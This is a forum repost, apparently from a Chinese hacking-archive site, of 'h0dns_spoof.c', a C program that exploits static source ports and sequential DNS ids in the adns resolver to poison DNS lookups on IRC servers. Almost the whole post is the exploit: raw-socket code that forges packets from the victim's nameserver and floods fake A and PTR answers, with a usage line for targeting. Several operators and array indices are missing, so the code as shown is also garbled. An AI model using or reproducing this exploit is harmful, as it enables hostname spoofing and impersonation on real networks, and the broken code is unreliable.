• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)

    发布者: 荣9319 | 发布时间: 2025-6-28 22:40| 查看数: 45| 评论数: 0|帖子模式

    /* h0dns_spoof.c - zmda - saik0pod@yahoo.com
    *   - spoof dns on ircd's using the h0dns code
    *
    *   - spoof dns on anything using the adns (asynchronous dns resolver) code
    *
    *   - The bug:
    *       - Static source port used by the adns code
    *       - Sequential DNS ids in request packets
    *
    *   - Initiate sequence to trigger a dns lookup by the adns resolver. Send
    *     the same range of spoofed DNS ids in a constant flood spoofed as the
    *     primary DNS server for the host. Even a local DNS request will take
    *     long enough to allow some amount of the spoofed DNS responses through
    *     before the primary DNS responds. Since the resolver does not cache
    *     results, the dns lookups can be triggered until the DNS id is
    *     incremented within the DNS id range being spoofed.
    *
    */#include <stdio.h>
    #include <unistd.h>
    #include <stdarg.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <string.h>
    #include <errno.h>
    #include <time.h>#ifndef u8
      #define u8  unsigned char
    #endif#ifndef u16
      #define u16 unsigned short
    #endif#ifndef u32
      #define u32 unsigned long
    #endif
    struct dns_header {
      u16 id;
      u16 flags;
      u16 questions;
      u16 answer_rr;
      u16 auth_rr;
      u16 extra_rr;
    } __attribute__((packed));struct dns_data {
      u16 name;
      u16 type;
      u16 class;
      u16 ttlh;
      u16 ttl;
      u16 data_len; /* data len - sizeof(char *) */
      char *data;
      /* data */
    } __attribute__((packed));struct dns_packet {
      size_t len;
      u8  type;
      char *data;
      /* packet data */
    };struct dns_query {
      size_t len;
      char *data;
    };struct ip_header {
      u8  ihl:4,
          version:4;
      u8  tos;
      u16 tot_len;
      u16 id;
      u16 frag_off;
      u8  ttl;
      u8  protocol;
      u16 check;
      u32 saddr;
      u32 daddr;
    };struct udp_header {
      u16 source;
      u16 dest;
      u16 len;
      u16 check;
    };#define DNS_A   0x0001
    #define DNS_PTR 0x000cstruct udp_packet {
      struct ip_header iph;
      struct udp_header udph;
    };void usage() {
      fprintf(stderr, "usage: ./h0dns_spoof <ircd ip> <ircd dns port> <ircd dns ip> "
                      "<your ip> <spoof host> <dns id>\n");
      exit(-1);
    }void fatal(char *reason) {
      fprintf(stderr, "fatal: %s\n", reason);
      exit(-1);
    }unsigned short csum(unsigned short *addr, int len) {
      register int sum = 0;
      u_short answer = 0;
      register u_short *w = addr;
      register int nleft = len;  while (nleft > 1)  {
        sum  = *w  ;
        nleft -= 2;
      }  if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum  = answer;
      }  sum = (sum >> 16)   (sum & 0xffff);
      sum  = (sum >> 16);
      answer = ~sum;
      return(answer); /* return the checksum value. */
    }struct udp_packet *alloc_packet(size_t datalen) {
      struct udp_packet *packet;
      struct ip_header  *iph;
      struct udp_header *udph;  if(!(packet = calloc(1, sizeof(struct udp_packet)   datalen)))
        fatal("error: allocating udp packet");  iph  = &packet->iph;
      udph = &packet->udph;  iph->ihl       = 5;
      iph->version   = 4;
      iph->tos       = 0;
      iph->tot_len   = sizeof(struct udp_packet)   datalen;
      iph->id        = htonl(0xbeef);
      iph->frag_off  = 0;
      iph->ttl       = 255;  iph->protocol  = 17;  udph->len      = htons(sizeof(struct udp_header)   datalen);  return(packet);
    }void init_packet(long source, int sport, long dest, int port,
                     struct udp_packet *udp_packet,
                     struct dns_packet *dns_packet) {
      struct ip_header *iph;
      struct udp_header *udph;
      char *data;  iph  = &udp_packet->iph;
      udph = &udp_packet->udph;  iph->saddr      = source;
      iph->daddr      = dest;
      iph->check      = csum((unsigned short *)iph, sizeof(struct ip_header));  udph->check  = 0;
      udph->source = htons(sport);
      udph->dest   = htons(port);  data = (char *)udp_packet   sizeof(struct udp_packet);
      memcpy(data, &dns_packet->data, dns_packet->len);
    }char *dns_string_format(char *out, char *in) {
      int i, x;  for(i = strlen(in) - 1, x = 0; i > -1; i--, x  ) {
        if(in == '.') {
          out = x;
          x = -1;
        } else
          out = in;
      }  out = x;  return(out);
    }struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
                                        char *answer_data, int type) {
      struct dns_packet *dns_packet;
      struct dns_header *dns_header;
      struct dns_data *dns_data;
      char *query,
           *answer;
      size_t totlen,
             alen;  if(type == DNS_A)
        alen = 4;
      else
        alen = strlen(answer_data);  totlen = sizeof(struct dns_header)  
               qlen  
               sizeof(struct dns_data) - sizeof(char *)   alen  
               ((type == DNS_A) ? 0 : 2);  if((dns_packet = calloc(1, totlen   sizeof(size_t)   1  
                              sizeof(char *))) == NULL)
        fatal("failed alloc");  dns_packet->len      = totlen;  dns_header = (struct dns_header *) &dns_packet->data;
      query      =              (char *) &dns_packet->data  
                                         sizeof(struct dns_header);
      dns_data   =   (struct dns_data *) (query   qlen);
      answer     =              (char *) &dns_data->data  
                                         ((type == DNS_A) ? 0 : 1);
      dns_header->flags     = htons(0x8180);
      dns_header->questions = htons(1);
      dns_header->answer_rr = htons(1);
      dns_header->auth_rr   = htons(0);
      dns_header->extra_rr  = htons(0);
      memcpy(query, query_data, qlen);  dns_data->name        = htons(0xc00c);
      dns_data->type        = htons(type);
      dns_data->class       = htons(1);
      dns_data->ttl         = htons(300);  dns_data->data_len    = htons(alen   ((type == DNS_A) ? 0 : 1));  if(type == DNS_A)
        memcpy(answer, &answer_data, 4);
      else
        dns_string_format(answer, answer_data);  return(dns_packet);
    }struct dns_query *alloc_dns_query(char *query, int qtype) {
      struct dns_query *dns_query;
      size_t qlen;
      int i, x = 0;
      char *p;
      char *data;
      u16  *type,
           *class;  qlen = 1   strlen(query)   1   2   2;  if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t)   qlen)) == NULL)
        fatal("fatal alloc\n");  dns_query->len = qlen;  data   = (char *) &dns_query->data   1;
      type   =  (u16 *) (data   strlen(query)   1);
      class  =  (u16 *) type   1;  dns_string_format(data, query);  *type   = htons(qtype);
      *class  = htons(1);  return(dns_query);
    };int send_packet(struct in_addr src, u16 sport,
                    struct in_addr dst, u16 dport,
                    struct udp_packet *udp_packet,
                    struct dns_packet *dns_packet, u32 dns_id) {
      struct sockaddr_in sin;
      struct dns_header *dns_header;
      int s, olen;
      unsigned char *p;
      int i;  dns_header     = (struct dns_header *) &dns_packet->data;
      dns_header->id = htons(dns_id);  init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);  sin.sin_family      = AF_INET;
      sin.sin_addr        = dst;
      sin.sin_port        = htons(sport);  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
        fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));
        return(s);
      }  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)
        fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");  while(sendto(s, udp_packet, sizeof(struct udp_packet)   dns_packet->len, 0,
           (struct sockaddr *)&sin, sizeof(sin)) < 0) {    if(errno == ENOBUFS)
          usleep(50);
        else {
          fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno);
          close(s);
          return(-1);
        }  }  close(s);}void do_spoof(struct in_addr src, u16 sport,
                  struct in_addr dst, u16 dport,
                  struct in_addr me, char *answer, u16 dns_id) {
      struct udp_packet *udp_packet_A,
                        *udp_packet_PTR;
      struct dns_packet *dns_packet_A,
                        *dns_packet_PTR;
      struct dns_query  *dns_query_A,
                        *dns_query_PTR;
      char query[255];
      int i;printf("dns_id = %d\n", dns_id);  snprintf(query, sizeof(query) - 1,
               "%d.%d.%d.%d.in-addr.arpa",
               (me.s_addr >> 24),
               (me.s_addr >> 16) & 0xff,
               (me.s_addr >>  8) & 0xff,
               (me.s_addr      ) & 0xff);  dns_query_A    = alloc_dns_query(answer, DNS_A);
      dns_packet_A   = alloc_dns_packet((char *)&dns_query_A->data,
                                        dns_query_A->len,
                                        (char *)me.s_addr, DNS_A);
      udp_packet_A   = alloc_packet(dns_packet_A->len);
      dns_query_PTR  = alloc_dns_query(query, DNS_PTR);
      dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,
                                        dns_query_PTR->len, answer, DNS_PTR);
      udp_packet_PTR = alloc_packet(dns_packet_PTR->len);  /* weee flood time */
      for(i = 0; ; i  ) {
        send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id   i);
        send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id   i);
        usleep(50);    if(i > 3)
          i = 0;
      }
    }long resolve(char *host) {
      struct in_addr ip;
      struct hostent *he;  if((ip.s_addr = inet_addr(host)) == -1) {
        if(!(he = gethostbyname(host)))
          return(-1);
        else
          memcpy(&ip.s_addr, he->h_addr, 4);
      }
      return(ip.s_addr);
    }int main(int argc, char *argv[]) {
      int i, dns_port, dns_id;
      struct in_addr ircd,
                     ircd_ns,
                     me;
      char *spoof_host;  printf("###### h0dns_spoof1.c - zmda - saik0pod@yahoo.com ######\n");  if(argc < 6)
        usage();  if((ircd.s_addr = resolve(argv[1])) == -1)
        fatal("ircd host invalid");  dns_port = atoi(argv[2]);  if((ircd_ns.s_addr = resolve(argv[3])) == -1)
        fatal("ircd dns host invalid");  if((me.s_addr = resolve(argv[4])) == -1)
        fatal("my host invalid");  spoof_host    = argv[5];
      dns_id        = atoi(argv[6]);  do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);}  

    来源:https://www.jb51.net/hack/5596.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表